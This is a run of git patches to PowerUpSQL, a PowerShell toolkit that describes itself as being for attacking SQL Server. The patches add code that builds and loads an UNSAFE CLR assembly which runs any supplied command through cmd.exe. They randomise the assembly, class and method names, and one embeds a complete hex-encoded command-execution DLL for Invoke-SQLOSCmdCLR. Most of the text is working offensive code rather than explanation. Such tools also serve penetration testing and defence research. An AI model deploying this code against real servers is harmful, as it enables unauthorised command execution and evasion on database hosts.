$SuppressVerbose) { - Write-Verbose -Message "$Instance : Grabbing assembly file information from $DbName." + Write-Verbose -Message "$Instance : Searching for CLR stored procedures in $DbName" } # Define Query @@ -8727,7 +8730,8 @@ Function Get-SQLStoredProcedureCLR } # Display found items - Write-Verbose "$instance : - File: $CLRFilename.dll Method: $CLRMethod Assembly: $CLRAssembly " + $Counter = $Counter + 1 + Write-Verbose "$instance : - File: $CLRFilename.dll Assembly: $CLRAssembly Method: $CLRMethod " } } } @@ -8735,6 +8739,14 @@ Function Get-SQLStoredProcedureCLR End { + # Check count + $CLRCount = $TblAssemblyFiles.Rows.Count + if ($CLRCount -gt 0){ + Write-Verbose "$Instance : Found $CLRCount CLR stored procedures" + }else{ + Write-Verbose "$Instance : No CLR stored procedures found." + } + # Return data $TblAssemblyFiles } From e8960714a2329a820e1372a3b93ed7d541bd2625 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 13 Jun 2017 22:48:40 -0500 Subject: [PATCH 034/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 7b4eccf..ac15bc5 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.1.90' + ModuleVersion = '1.1.91' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From b57134576264917aeb71a6b81384f8e9b0c7b22e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 19 Jun 2017 19:14:20 -0500 Subject: [PATCH 035/145] Update Get-SQLStoredProcedureCLR Fixed query to reflect assembly file, name, class, method, and associated stored procedure names. --- PowerUpSQL.ps1 | 102 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 76 insertions(+), 26 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index e6457d1..565c590 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.1.91 + Version: 1.1.92 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8558,6 +8558,11 @@ Function Get-SQLStoredProcedureCLR HelpMessage = 'Do not show database users associated with default databases.')] [Switch]$NoDefaults, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Show native CLR as well.')] + [Switch]$ShowAll, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8570,16 +8575,20 @@ Function Get-SQLStoredProcedureCLR $null = $TblAssemblyFiles.Columns.Add('ComputerName') $null = $TblAssemblyFiles.Columns.Add('Instance') $null = $TblAssemblyFiles.Columns.Add('DatabaseName') - $null = $TblAssemblyFiles.Columns.Add('assembly_method') - $null = $TblAssemblyFiles.Columns.Add('assembly_id') - $null = $TblAssemblyFiles.Columns.Add('assembly_name') + $null = $TblAssemblyFiles.Columns.Add('schema_name') $null = $TblAssemblyFiles.Columns.Add('file_id') $null = $TblAssemblyFiles.Columns.Add('file_name') - $null = $TblAssemblyFiles.Columns.Add('clr_name') + $null = $TblAssemblyFiles.Columns.Add('clr_name') + $null = $TblAssemblyFiles.Columns.Add('assembly_id') + $null = $TblAssemblyFiles.Columns.Add('assembly_name') + $null = $TblAssemblyFiles.Columns.Add('assembly_class') + $null = $TblAssemblyFiles.Columns.Add('assembly_method') + $null = $TblAssemblyFiles.Columns.Add('sp_object_id') + $null = $TblAssemblyFiles.Columns.Add('sp_name') + $null = $TblAssemblyFiles.Columns.Add('sp_type') $null = $TblAssemblyFiles.Columns.Add('permission_set_desc') $null = $TblAssemblyFiles.Columns.Add('create_date') $null = $TblAssemblyFiles.Columns.Add('modify_date') - $null = $TblAssemblyFiles.Columns.Add('is_user_defined') $null = $TblAssemblyFiles.Columns.Add('content') } @@ -8649,22 +8658,59 @@ Function Get-SQLStoredProcedureCLR } # Define Query - $Query = "USE $DbName; - SELECT am.assembly_method, - af.assembly_id, - a.name as assembly_name, - af.file_id, - af.name as file_name, - a.clr_name, - a.permission_set_desc, - a.create_date, - a.modify_date, - a.is_user_defined, - af.content - FROM sys.assemblies a - INNER JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id - INNER JOIN sys.assembly_modules am ON am.assembly_id = af.assembly_id - $AssemblyNameQuery" + $Query = " USE $DbName; + SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name], + af.file_id, + af.name as [file_name], + asmbly.clr_name, + asmbly.assembly_id, + asmbly.name AS [assembly_name], + am.assembly_class, + am.assembly_method, + so.object_id as [sp_object_id], + so.name AS [sp_name], + so.[type] as [sp_type], + asmbly.permission_set_desc, + asmbly.create_date, + asmbly.modify_date, + af.content + FROM sys.assembly_modules am + INNER JOIN sys.assemblies asmbly + ON asmbly.assembly_id = am.assembly_id + INNER JOIN sys.assembly_files af + ON asmbly.assembly_id = af.assembly_id + INNER JOIN sys.objects so + ON so.[object_id] = am.[object_id] + $AssemblyNameQuery" + + $NativeStuff = " + UNION ALL + SELECT SCHEMA_NAME(at.[schema_id]) AS [SchemaName], + af.file_id, + af.name as file_name, + asmbly.clr_name, + asmbly.assembly_id, + asmbly.name AS [AssemblyName], + at.assembly_class, + NULL AS [assembly_method], + NULL as [sp_object_id], + at.name AS [sp_name], + 'UDT' AS [type], + asmbly.permission_set_desc, + asmbly.create_date, + asmbly.modify_date, + af.content + FROM sys.assembly_types at + INNER JOIN sys.assemblies asmbly + ON asmbly.assembly_id = at.assembly_id + INNER JOIN sys.assembly_files af + ON asmbly.assembly_id = af.assembly_id + ORDER BY [assembly_name], [assembly_method], [sp_name]" + + # Check for showall + if($ShowAll){ + $Query = "$Query$NativeStuff" + } # Execute Query $TblAssemblyFilesTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -8678,16 +8724,20 @@ Function Get-SQLStoredProcedureCLR [string]$ComputerName, [string]$Instance, [string]$DbName, - [string]$_.assembly_method, - [string]$_.assembly_id, - [string]$_.assembly_name, + [string]$_.schema_name, [string]$_.file_id, [string]$_.file_name, [string]$_.clr_name, + [string]$_.assembly_id, + [string]$_.assembly_name, + [string]$_.assembly_class, + [string]$_.assembly_method, + [string]$_.sp_object_id, + [string]$_.sp_name, + [string]$_.sp_type, [string]$_.permission_set_desc, [string]$_.create_date, [string]$_.modify_date, - [string]$_.is_user_defined, [string]$_.content) # Setup vars for verbose output From 007c4cc6fc91d260ef10f691c58264a8fb22582e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 19 Jun 2017 19:16:50 -0500 Subject: [PATCH 036/145] Update version and add Get-SQLStoredProcedureCLR --- PowerUpSQL.psd1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index ac15bc5..9ce85fc 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.1.91' + ModuleVersion = '1.1.92' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -56,7 +56,8 @@ 'Get-SQLServiceAccount', 'Get-SQLServiceLocal', 'Get-SQLSession', - 'Get-SQLStoredProcedure', + 'Get-SQLStoredProcedure', + 'Get-SQLStoredProcedureCLR', 'Get-SQLStoredProcedureSQLi', 'Get-SQLStoredProcedureAutoExec', 'Get-SQLSysadminCheck', From 6b011d8c6341f6e403f9e29591a42111532e0156 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Jun 2017 09:01:53 -0500 Subject: [PATCH 037/145] Update Create-SQLFileCLR Randomized assembly name, class name, and method name. --- PowerUpSQL.ps1 | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 565c590..c5e1679 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.1.92 + Version: 1.1.93 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -10809,7 +10809,17 @@ function Create-SQLFileCLRDll # Status the user Write-Verbose "Target C# File: $SRCPath" - Write-Verbose "Target DLL File: $DllPath" + Write-Verbose "Target DLL File: $DllPath" + + # Get random length + $ClassNameLength = (5..10 | Get-Random -count 1 ) + $MethodNameLength = (5..10 | Get-Random -count 1 ) + $AssemblyLength = (5..10 | Get-Random -count 1 ) + + # Create random class name + $ClassName = (-join ((65..90) + (97..122) | Get-Random -Count $ClassNameLength | % {[char]$_})) + $MethodName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + $AssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) if (-not $SourceDllPath){ # Create c# teamplate that will run any provided command @@ -10823,10 +10833,10 @@ function Create-SQLFileCLRDll using System.IO; using System.Diagnostics; using System.Text; - public partial class StoredProcedures + public partial class $ClassName { [Microsoft.SqlServer.Server.SqlProcedure] - public static void $ProcedureName (SqlString execCommand) + public static void $MethodName (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; @@ -10885,9 +10895,10 @@ function Create-SQLFileCLRDll if (-not $SourceDllPath){ # write from default file + $ProcedureNameSp = "sp_$ProcedureName" $stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append("CREATE ASSEMBLY [") > $null - $stringBuilder.Append($ProcedureName) > $null + $stringBuilder.Append($AssemblyName) > $null $stringBuilder.Append("] AUTHORIZATION [dbo] FROM `n0x") > $null $assemblyFile = resolve-path $DllPath $fileStream = [IO.File]::OpenRead($assemblyFile) @@ -10896,9 +10907,9 @@ function Create-SQLFileCLRDll } $null = $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") $null = $stringBuilder.AppendLine("GO") - $null = $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[$ProcedureName] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$ProcedureName].[StoredProcedures].[$ProcedureName];") + $null = $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[$ProcedureNameSp] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$AssemblyName].[$ClassName].[$MethodName];") $null = $stringBuilder.AppendLine("GO") - $null = $stringBuilder.AppendLine("EXEC[dbo].[$ProcedureName] 'whoami'") + $null = $stringBuilder.AppendLine("EXEC[dbo].[$ProcedureNameSp] 'whoami'") $null = $stringBuilder.AppendLine("GO") $MySQLCommand = $stringBuilder.ToString() -join "" $fileStream.Close() From 505ac3a853af0744beeb875d2d6b83d0be7221e2 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 20 Jun 2017 09:02:32 -0500 Subject: [PATCH 038/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 9ce85fc..2db4bdb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.1.92' + ModuleVersion = '1.1.93' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 3b1a1d4cc9691540b80ef8d178536c36b9b87b25 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 21 Jun 2017 14:46:21 -0500 Subject: [PATCH 039/145] Update Get-SQLStoredProcedureCLR Updated verbose output and CLR DLL export functionality. --- PowerUpSQL.ps1 | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index c5e1679..752cd51 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.1.93 + Version: 1.1.94 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -8661,7 +8661,7 @@ Function Get-SQLStoredProcedureCLR $Query = " USE $DbName; SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name], af.file_id, - af.name as [file_name], + af.name + '.dll' as [file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.name AS [assembly_name], @@ -8687,7 +8687,7 @@ Function Get-SQLStoredProcedureCLR UNION ALL SELECT SCHEMA_NAME(at.[schema_id]) AS [SchemaName], af.file_id, - af.name as file_name, + af.name + '.dll' as [file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.name AS [AssemblyName], @@ -8743,15 +8743,20 @@ Function Get-SQLStoredProcedureCLR # Setup vars for verbose output $CLRFilename = $_.file_name $CLRMethod = $_.assembly_method - $CLRAssembly = $_.assembly_name + $CLRAssembly = $_.assembly_name + $CLRAssemblyClass = $_.assembly_class + $CLRSp = $_.sp_name + # Status user + Write-Verbose "$instance : - File:$CLRFilename Assembly:$CLRAssembly Class:$CLRAssemblyClass Method:$CLRMethod Proc:$CLRSp" + # Export dll if($ExportFolder){ # Create export folder $ExportOutputFolder = "$ExportFolder\CLRExports" If ((test-path $ExportOutputFolder) -eq $False){ - Write-Verbose "$instance : Creating export folder: $ExportOutputFolder" + Write-Verbose "$instance : Creating export folder: $ExportOutputFolder" $null = New-Item -Path "$ExportOutputFolder" -type directory } @@ -8759,29 +8764,28 @@ Function Get-SQLStoredProcedureCLR $InstanceClean = $Instance -replace('\\','_') $ServerPath = "$ExportOutputFolder\$InstanceClean" If ((test-path $Serverpath) -eq $False){ - Write-Verbose "$instance : Creating server folder: $ServerPath" + Write-Verbose "$instance : Creating server folder: $ServerPath" $null = New-Item -Path "$ServerPath" -type directory } # Create database subfolder if it doesnt exist $Databasepath = "$ServerPath\$DbName" If ((test-path $Databasepath) -eq $False){ - Write-Verbose "$instance : Creating database folder: $Databasepath" + Write-Verbose "$instance : Creating database folder: $Databasepath" $null = New-Item $Databasepath -type directory } - + # Create dll file if it doesnt exist - $FullExportPath = "$Databasepath\$CLRFilename.dll" + $FullExportPath = "$Databasepath\$CLRFilename" if(-not (Test-Path $FullExportPath)){ - Write-Verbose "$Instance : - Exporting $CLRFilename.dll" + Write-Verbose "$Instance : Exporting $CLRFilename" $_.content | Set-Content -Encoding Byte $FullExportPath }else{ - #Write-Verbose "$Instance : $CLRFilename.dll already exported" + Write-Verbose "$Instance : Exporting $CLRFilename - Aborted, file exists." } - # Display found items - $Counter = $Counter + 1 - Write-Verbose "$instance : - File: $CLRFilename.dll Assembly: $CLRAssembly Method: $CLRMethod " + # Update counter + $Counter = $Counter + 1 } } } From a1b7586e2db317543ea21ae8326ba3816c9d6db3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 21 Jun 2017 14:46:39 -0500 Subject: [PATCH 040/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 2db4bdb..22b6def 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.1.93' + ModuleVersion = '1.1.94' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From cc709cb8f0351859acb16fda655e72e6ff4ba6f3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 23 Jun 2017 09:39:10 -0500 Subject: [PATCH 041/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 22b6def..51579dc 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.1.94' + ModuleVersion = '1.82.94' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 56b760fdca91e85db2aee61a988961ba924e233d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 23 Jun 2017 09:44:22 -0500 Subject: [PATCH 042/145] Update version [major release].[number of exported functions].[code updates] --- PowerUpSQL.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 752cd51..7dbb48d 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.1.94 + Version: 1.82.94 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 From bbdf001adfa9bb464cc27ad8607030d84760faac Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 25 Jun 2017 21:04:53 -0500 Subject: [PATCH 043/145] Update Create-SQLFileCLRDll Added ability to set custom assembly, class, and method names. Defaults are random. --- PowerUpSQL.ps1 | 42 ++++++++++++++++++++++++++++++++---------- 1 file changed, 32 insertions(+), 10 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7dbb48d..7c716bc 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.82.94 + Version: 1.82.95 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -10780,7 +10780,19 @@ function Create-SQLFileCLRDll [Parameter(Mandatory = $false, HelpMessage = 'Directory to output files.')] - [string]$OutDir = $env:temp, + [string]$OutDir = $env:temp, + + [Parameter(Mandatory = $false, + HelpMessage = 'Set custom assembly name. It is random by default.')] + [string]$AssemblyName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Set custom assembly class name. It is random by default.')] + [string]$AssemblyClassName, + + [Parameter(Mandatory = $false, + HelpMessage = 'Set custom assembly method name. It is random by default.')] + [string]$AssemblyMethodName, [Parameter(Mandatory = $false, HelpMessage = 'Output name.')] @@ -10820,10 +10832,20 @@ function Create-SQLFileCLRDll $MethodNameLength = (5..10 | Get-Random -count 1 ) $AssemblyLength = (5..10 | Get-Random -count 1 ) - # Create random class name - $ClassName = (-join ((65..90) + (97..122) | Get-Random -Count $ClassNameLength | % {[char]$_})) - $MethodName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) - $AssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + # Create class name + If(-not $AssemblyClassName){ + $AssemblyClassName = (-join ((65..90) + (97..122) | Get-Random -Count $ClassNameLength | % {[char]$_})) + } + + # Create method name + if(-not $AssemblyMethodName){ + $AssemblyMethodName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + } + + # Create assembly name + If(-not $AssemblyName){ + $AssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $MethodNameLength | % {[char]$_})) + } if (-not $SourceDllPath){ # Create c# teamplate that will run any provided command @@ -10837,10 +10859,10 @@ function Create-SQLFileCLRDll using System.IO; using System.Diagnostics; using System.Text; - public partial class $ClassName + public partial class $AssemblyClassName { [Microsoft.SqlServer.Server.SqlProcedure] - public static void $MethodName (SqlString execCommand) + public static void $AssemblyMethodName (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; @@ -10899,7 +10921,7 @@ function Create-SQLFileCLRDll if (-not $SourceDllPath){ # write from default file - $ProcedureNameSp = "sp_$ProcedureName" + $ProcedureNameSp = "$ProcedureName" $stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append("CREATE ASSEMBLY [") > $null $stringBuilder.Append($AssemblyName) > $null @@ -10911,7 +10933,7 @@ function Create-SQLFileCLRDll } $null = $stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") $null = $stringBuilder.AppendLine("GO") - $null = $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[$ProcedureNameSp] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$AssemblyName].[$ClassName].[$MethodName];") + $null = $stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[$ProcedureNameSp] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [$AssemblyName].[$AssemblyClassName].[$AssemblyMethodName];") $null = $stringBuilder.AppendLine("GO") $null = $stringBuilder.AppendLine("EXEC[dbo].[$ProcedureNameSp] 'whoami'") $null = $stringBuilder.AppendLine("GO") From 268e6038c996e425ff058f6d0e4bedb8acc6b313 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 25 Jun 2017 21:05:55 -0500 Subject: [PATCH 044/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 51579dc..20d531c 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.82.94' + ModuleVersion = '1.82.95' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From e00e799501665e82df908230e8103a07abcfdd5e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 29 Jun 2017 11:42:57 -0500 Subject: [PATCH 045/145] update invoke-sqloscmdclr randomize assembly and proc names --- PowerUpSQL.ps1 | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7c716bc..33ad489 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.82.95 + Version: 1.82.96 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -2220,17 +2220,24 @@ Function Invoke-SQLOSCmdCLR } } + # Set random length + $RandAssemblyLength = (8..15 | Get-Random -count 1 ) + + # Create assembly and proc names + $RandAssemblyName = (-join ((65..90) + (97..122) | Get-Random -Count $RandAssemblyLength | % {[char]$_})) + $RandProcName = (-join ((65..90) + (97..122) | Get-Random -Count $RandAssemblyLength | % {[char]$_})) + # Create assembly - $Query_AddAssembly = "CREATE ASSEMBLY [cmd_exec] AUTHORIZATION [dbo] from 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103008A8FF9580000000000000000E00002210B010B000008000000060000000000004E270000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002700004B00000000400000A002000000000000000000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054070000002000000008000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E000000000000000000000000000040000042000000000000000000000000000000003027000000000000480000000200050028210000D8050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300500C30000000100001100730400000A0A066F0500000A72010000706F0600000A00066F0500000A72390000700F00280700000A280800000A6F0900000A00066F0500000A166F0A00000A00066F0500000A176F0B00000A00066F0C00000A26178D090000010C081672490000701F0C20A00F00006A730D00000AA208730E00000A0B280F00000A076F1000000A000716066F1100000A6F1200000A6F1300000A6F1400000A00280F00000A076F1500000A00280F00000A6F1600000A00066F1700000A00066F1800000A002A1E02281900000A2A0042534A4201000100000000000C00000076342E302E33303331390000000005006C000000E0010000237E00004C0200009002000023537472696E677300000000DC040000580000002355530034050000100000002347554944000000440500009400000023426C6F620000000000000002000001471502000900000000FA253300160000010000000F000000020000000200000001000000190000000300000001000000010000000300000000000A000100000000000600370030000A005F004A000600A40084000600C40084000A000501EA000E002E011B010E0036011B0106006C0130000A00BD01EA000A00C9013E000A00D301EA000A00E101EA000A00EC01EA00060018020E02060038020E0200000000010000000000010001000100100016000000050001000100502000000000960069000A0001001F21000000008618720010000200000001007800190072001400210072001000290072001000310072001000310047011E00390055012300110062012800410073012C0039007A01230039008801320039009C0132003100B7013700490072003B005900720043006100F4014A006900FD014F0031002502550079004302280009004D022800590056025A00690060024F0069006F02100031007E02100031008A02100009007200100020001B0019002E000B006A002E00130073006000048000000000000000000000000000000000E2000000040000000000000000000000010027000000000004000000000000000000000001003E000000000004000000000000000000000001003000000000000000003C4D6F64756C653E00434C5246696C652E646C6C0053746F72656450726F63656475726573006D73636F726C69620053797374656D004F626A6563740053797374656D2E446174610053797374656D2E446174612E53716C54797065730053716C537472696E6700636D645F65786563002E63746F720065786563436F6D6D616E640053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500434C5246696C65004D6963726F736F66742E53716C5365727665722E5365727665720053716C50726F6365647572654174747269627574650053797374656D2E446961676E6F73746963730050726F636573730050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65006765745F56616C756500537472696E6700466F726D6174007365745F417267756D656E7473007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E646172644F75747075740053746172740053716C4D657461446174610053716C4462547970650053716C446174615265636F72640053716C436F6E746578740053716C50697065006765745F506970650053656E64526573756C747353746172740053797374656D2E494F0053747265616D526561646572006765745F5374616E646172644F757470757400546578745265616465720052656164546F456E6400546F537472696E6700536574537472696E670053656E64526573756C7473526F770053656E64526573756C7473456E640057616974466F724578697400436C6F736500003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500000F20002F00430020007B0030007D00000D6F00750074007000750074000000FCEE91D85F31C540B0756AD6B62A5C020008B77A5C561934E0890500010111090320000104200101080401000000042000121D042001010E0320000E0500020E0E1C042001010203200002072003010E11290A062001011D1225040000123505200101122D042000123905200201080E0907031219122D1D12250801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100002827000000000000000000003E270000002000000000000000000000000000000000000000000000302700000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D006500000043004C005200460069006C0065002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C005200460069006C0065002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000